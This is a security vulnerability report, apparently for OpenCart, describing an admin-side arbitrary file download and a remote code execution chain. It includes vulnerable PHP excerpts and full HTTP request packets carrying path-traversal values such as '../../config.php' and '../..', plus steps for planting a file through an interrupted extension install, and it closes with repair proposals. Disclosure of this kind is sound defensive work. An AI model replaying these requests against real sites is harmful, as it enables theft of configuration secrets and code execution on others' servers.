Reporter

Name:zhonghao, f0@gnusec
Time:2018.5.21
Email: 924095871@qq.com

#####Description#####
The program can be set in the background to download the user file, the user can download the file in the user center (to meet certain conditions, usually after the completion of the order). During this entire process, the administrator can define the address of the downloaded file in the background, and does not make reasonable judgments and filtering on the download address entered by the administrator, resulting in the download of arbitrary files on the server across directories.
The background has an installable and extensible function that allows the user to upload and install scalable function code. Due to problems in the processing logic, combined with other bugs in the system’s other business functions, it can cause arbitrary code execution.

Code analysis

###Management background arbitrary file download
Problems arise:
The program can set the user to download the file in the background. Under normal circumstances, the administrator needs to upload the file and provide it to the user for download. After the administrator uploads the file, the program will save the file name returned by the server as the download file option set by the administrator. The database, so the user can download the file at the front desk (to meet certain conditions, usually after the completion of the order). During this entire process, the administrator can define the address of the downloaded file in the background, and does not make reasonable judgments and filtering on the download address entered by the administrator, resulting in the download of arbitrary files on the server across directories.
Vulnerability analysis:
0x01 Code location:\www\admin\controller\catalog\download.php 47-77

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function edit() {
$this->load->language('catalog/download');
$this->document->setTitle($this->language->get('heading_title'));
$this->load->model('catalog/download');
if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
$this->model_catalog_download->editDownload($this->request->get['download_id'], $this->request->post);
$this->session->data['success'] = $this->language->get('text_success');
$url = '';
if (isset($this->request->get['sort'])) {
$url .= '&sort=' . $this->request->get['sort'];
}
if (isset($this->request->get['order'])) {
$url .= '&order=' . $this->request->get['order'];
}
if (isset($this->request->get['page'])) {
$url .= '&page=' . $this->request->get['page'];
}
$this->response->redirect($this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true));
}
$this->getForm();
}

According to the code, we can see that.Determine whether the filename you entered exists, and if there is no intervening character in the user input, the incoming data (such as ../../config.php) can be directly entered into the database.$this->model_catalog_download->editDownload($this->request->get[‘download_id’], $this->request->post).Receive the entire POST request data passed into editDownload method, then we follow up to this method:
Code location:\WWW\admin\model\catalog\download.php 15-23:

1
2
3
4
5
6
7
8
9
public function editDownload($download_id, $data) {
$this->db->query("UPDATE " . DB_PREFIX . "download SET filename = '" . $this->db->escape($data['filename']) . "', mask = '" . $this->db->escape($data['mask']) . "' WHERE download_id = '" . (int)$download_id . "'");

$this->db->query("DELETE FROM " . DB_PREFIX . "download_description WHERE download_id = '" . (int)$download_id . "'");

foreach ($data['download_description'] as $language_id => $value) {
$this->db->query("INSERT INTO " . DB_PREFIX . "download_description SET download_id = '" . (int)$download_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
}
}

Code analysis: The first sentence in this piece of code is to follow up with $download_id to update the data contents of the filename and mask fields in the download table. In addition $this->db->escape($data[‘filename’]) this function I will not explain in detail, specifically the program logic is roughly calling mysql_real_escape_string() to escape the string passed by the user, “../“This type of character is not affected. So we can see from the code analysis here that the administrator can edit the download file’s address to any controllable string.
0x02 Next we look at the code at the user center of filedownload, Code location:\WWW\catalog\controller\account\download.php 100-145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function download() {
if (!$this->customer->isLogged()) {
$this->session->data['redirect'] = $this->url->link('account/download', '', true);

$this->response->redirect($this->url->link('account/login', '', true));
}

$this->load->model('account/download');

if (isset($this->request->get['download_id'])) {
$download_id = $this->request->get['download_id'];
} else {
$download_id = 0;
}

$download_info = $this->model_account_download->getDownload($download_id);

if ($download_info) {
$file = DIR_DOWNLOAD . $download_info['filename'];
$mask = basename($download_info['mask']);

if (!headers_sent()) {
if (file_exists($file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . ($mask ? $mask : basename($file)) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));

if (ob_get_level()) {
ob_end_clean();
}

readfile($file, 'rb');

exit();
} else {
exit('Error: Could not find file ' . $file . '!');
}
} else {
exit('Error: Headers already sent out!');
}
} else {
$this->response->redirect($this->url->link('account/download', '', true));

Code analysis:
The program logic of this code is through the user submitted $download_id, go to the database to find the corresponding record, get the filename field, $file = DIR_DOWNLOAD. $download_info[‘filename’], concatenate to get the address of the downloaded file, determine whether the file exists, Read directly and return the contents of the file. Therefore, by modifying the download file address to any file address in the background, the user can directly download the arbitrary file via $download_id.

####Vulnerability:
Background management download file function:

Request packet for modifying download file address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /admin/index.php?route=catalog/download/edit&user_token=6Bqzz0aJpd8dXmHj7rFHHxk6udU5okFY&download_id=2 HTTP/1.1
Host: 192.168.98.140
Content-Length: 644
Cache-Control: max-age=0
Origin: http://192.168.98.140
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUB4XY3KwcHAu3WdM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.98.140/admin/index.php?route=catalog/download/edit&user_token=6Bqzz0aJpd8dXmHj7rFHHxk6udU5okFY&download_id=5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ntl13nj21ou8m8nkmmqlku90l0; OCSESSID=4a0077bb1c86dc60046ba966c5; language=zh-cn; currency=CNY
Connection: close

------WebKitFormBoundaryUB4XY3KwcHAu3WdM
Content-Disposition: form-data; name="download_description[2][name]"

???è???????¨
------WebKitFormBoundaryUB4XY3KwcHAu3WdM
Content-Disposition: form-data; name="download_description[1][name]"

???è???????¨
------WebKitFormBoundaryUB4XY3KwcHAu3WdM
Content-Disposition: form-data; name="filename"

../../config.php
------WebKitFormBoundaryUB4XY3KwcHAu3WdM
Content-Disposition: form-data; name="mask"

59d88b31c73ea.gif
------WebKitFormBoundaryUB4XY3KwcHAu3WdM--


View the data content stored in the database:

Note: Here, if we want to attack a system, do not know the upload file directory (storage), then we can set the storage directory here, we can make it stored in the site directory (preferably also placed under the site directory, To pave the way for the remote code execution vulnerability we will explain later) just follow the following packet request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin/index.php?route=common/security/move&user_token=OkLdtfFyygCB13NW8gVuUEU4CrYp56Hy HTTP/1.1
Host: 192.168.98.140
Content-Length: 59
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.98.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.45 Safari/537.36 OPR/53.0.2907.7 (Edition beta)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.98.140/admin/index.php?route=common/dashboard&user_token=TukHvOPjvQt50L6l2wk9Wc2z7YLqUPIM
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ntl13nj21ou8m8nkmmqlku90l0; OCSESSID=4a0077bb1c86dc60046ba966c5; language=en-gb; currency=USD; __atuvc=2%7C21
Connection: close

directory=storage&path=F:/phpStudy/PHPTutorial/www/

Add the download file project specific steps:
1.[catalog]=>[products]=>[edit]=>[links]=>[downloads]

2.[system]=>[settings]=>[edit]=>[option]=>[ Processing Order Status&Complete Order Status]

3.Find the product you have set,and make an order

4.then,you can download the file at “My Account”


Enter the user center and download the corresponding file. You can see that the configuration file has been successfully downloaded:
Request URL:
http://192.168.*.*/index.php?route=account/download/download&download_id=5

####Management background remote code execution:

The background installation extension feature has flaws that can be exploited to cope with other background functions. Specifically, the background installation extension function is divided into multiple steps for processing, and the processing process is initiated by the client. The attacker only needs to control one of the requests for deleting the temporary file not to be requested, and the malicious code uploaded to the server is stored in the server. In the above, when a path for uploading a file is obtained through a vulnerability of other functions, the malicious file may be requested directly, which may cause remote code execution.
First of all, we need to confirm whether the directory where the uploaded file is stored exists under the web program directory. If it is possible to directly continue with the following operations, if it is not there, we need to set the directory where the uploaded file is stored under the web program directory.The set of request packets is as follows, where $path is the set path address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin/index.php?route=common/security/move&user_token=XJ6c5vvOBR2ThXCbjyxQkpMyB3uVdLhK HTTP/1.1
Host: 192.168.98.140
Content-Length: 61
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.98.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.98.140/admin/index.php?route=common/dashboard&user_token=XJ6c5vvOBR2ThXCbjyxQkpMyB3uVdLhK
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ntl13nj21ou8m8nkmmqlku90l0; OCSESSID=4a0077bb1c86dc60046ba966c5; language=zh-cn; currency=CNY
Connection: close

directory=storage&path=F%3A%2FphpStudy%2FPHPTutorial%2FWWW%2F

Management installation extensions:

Here you can upload program extensions. According to official instructions, uploaded file names must be suffixed with “.ocmod.zip”. So here we construct a compressed package file “template.ocmod.zip” with a malicious executable file.

Upload the file. After uploading the file, the web application will do several corresponding processes for the uploaded file, which are roughly: upload, install, decompress, move, xml, and remove the temporary file. These six steps are all initiated automatically by the client. In these six steps, we let the last step remove the temporary file request and do not initiate, that is, the file on the server is not deleted, then the vulnerability file is It is retained on the server and can be executed after direct access.
The six requests are:
1.upload:

2.install:

3.unzip:

4.move:

5.xml:

6.remove:

In these six steps, the last step does not allow the client to initiate a packet request for a removal operation, ie, it does not allow the program to delete the vulnerability file, so direct access to the vulnerability file can result in the file being directly executed. However, the uploaded file has a renamed process, and the folder’s name is concatenated with 10 random numbers, so the following is a way to get the name of this folder.
In the background language management function, there are loopholes. You can set two levels of cross-catalog fields ‘../..’, which causes the program to obtain all the folder paths under the root directory of the website and obtain the random number file name we need.
1)[system]=>[localisation]=>[languages]=>[edit]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /admin/index.php?route=localisation/language/edit&user_token=tjfveKye1n3EA4x35EOmcDMHYaOw1eje&language_id=8 HTTP/1.1
Host: 192.168.98.140
Content-Length: 530
Cache-Control: max-age=0
Origin: http://192.168.98.140
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykwHYQKnmYyQLtqRr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.45 Safari/537.36 OPR/53.0.2907.7 (Edition beta)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.98.140/admin/index.php?route=localisation/language/edit&user_token=tjfveKye1n3EA4x35EOmcDMHYaOw1eje&language_id=8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ntl13nj21ou8m8nkmmqlku90l0; OCSESSID=4a0077bb1c86dc60046ba966c5; language=zh-cn; currency=CNY
Connection: close

------WebKitFormBoundarykwHYQKnmYyQLtqRr
Content-Disposition: form-data; name="name"

chinese
------WebKitFormBoundarykwHYQKnmYyQLtqRr
Content-Disposition: form-data; name="code"

../..
------WebKitFormBoundarykwHYQKnmYyQLtqRr
Content-Disposition: form-data; name="locale"

test123
------WebKitFormBoundarykwHYQKnmYyQLtqRr
Content-Disposition: form-data; name="status"

1
------WebKitFormBoundarykwHYQKnmYyQLtqRr
Content-Disposition: form-data; name="sort_order"

1
36. ------WebKitFormBoundarykwHYQKnmYyQLtqRr--


Here to explain, the code parameter will only detect the user submitted this parameter is not less than two characters and this parameter is set, I will not explain the specific code.

2)Next, we use the set of cross-directory parameters combined with the management background function to obtain all file paths in the web system::
code location:\WWW\admin\controller\design\translation.php 第427-463行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public function path() {
$this->load->language('design/translation');

$json = array();

if (isset($this->request->get['language_id'])) {
$language_id = $this->request->get['language_id'];
} else {
$language_id = 0;
}

$this->load->model('localisation/language');

$language_info = $this->model_localisation_language->getLanguage($language_id);

if (!empty($language_info)) {
$path = glob(DIR_CATALOG . 'language/'.$language_info['code'].'/*');

while (count($path) != 0) {
$next = array_shift($path);

foreach ((array)glob($next) as $file) {
if (is_dir($file)) {
$path[] = $file . '/*';
}

if (substr($file, -4) == '.php') {
$json[] = substr(substr($file, strlen(DIR_CATALOG . 'language/'.$language_info['code'].'/')), 0, -4);
}
}
}
}

$this->response->addHeader('Content-Type: application/json');
$this->response->setOutput(json_encode($json));
}

Code analysis: Through $language_id to get the $code parameter we set before, then splicing to DIR_CATALOG. ‘language/‘.$language_info[‘code’].’/‘, the real address of this directory becomes DIR_CATALOG. /language /../../. The glob() function obtains all file path information under the root directory of the website, and then assigns the path to the file “.php” in the file directory to $json, and returns json_encode to the front of the page.
3)[design]=>[language editor]=>[add]

Request packet:

1
2
3
4
5
6
7
8
9
10
11
GET /admin/index.php?route=design/translation/path&user_token=tjfveKye1n3EA4x35EOmcDMHYaOw1eje&language_id=2 
HTTP/1.1
Host: 192.168.98.140
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.45 Safari/537.36 OPR/53.0.2907.7 (Edition beta)
Referer: http://192.168.98.140/admin/index.php?route=design/theme&user_token=tjfveKye1n3EA4x35EOmcDMHYaOw1eje
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ntl13nj21ou8m8nkmmqlku90l0; OCSESSID=4a0077bb1c86dc60046ba966c5; language=zh-cn; currency=CNY
Connection: close

Request & Response:

We can see here that the file path is returned, so we directly request this malicious file:
http://192.168.98.140/storage/upload/tmp-gfRpPNAt0L/phpinfo.php

#####Repair proposal#####

  1. Filter user input across directory strings.
  2. The specific operation steps for installing the extension should be initiated by the server itself and not processed by the client.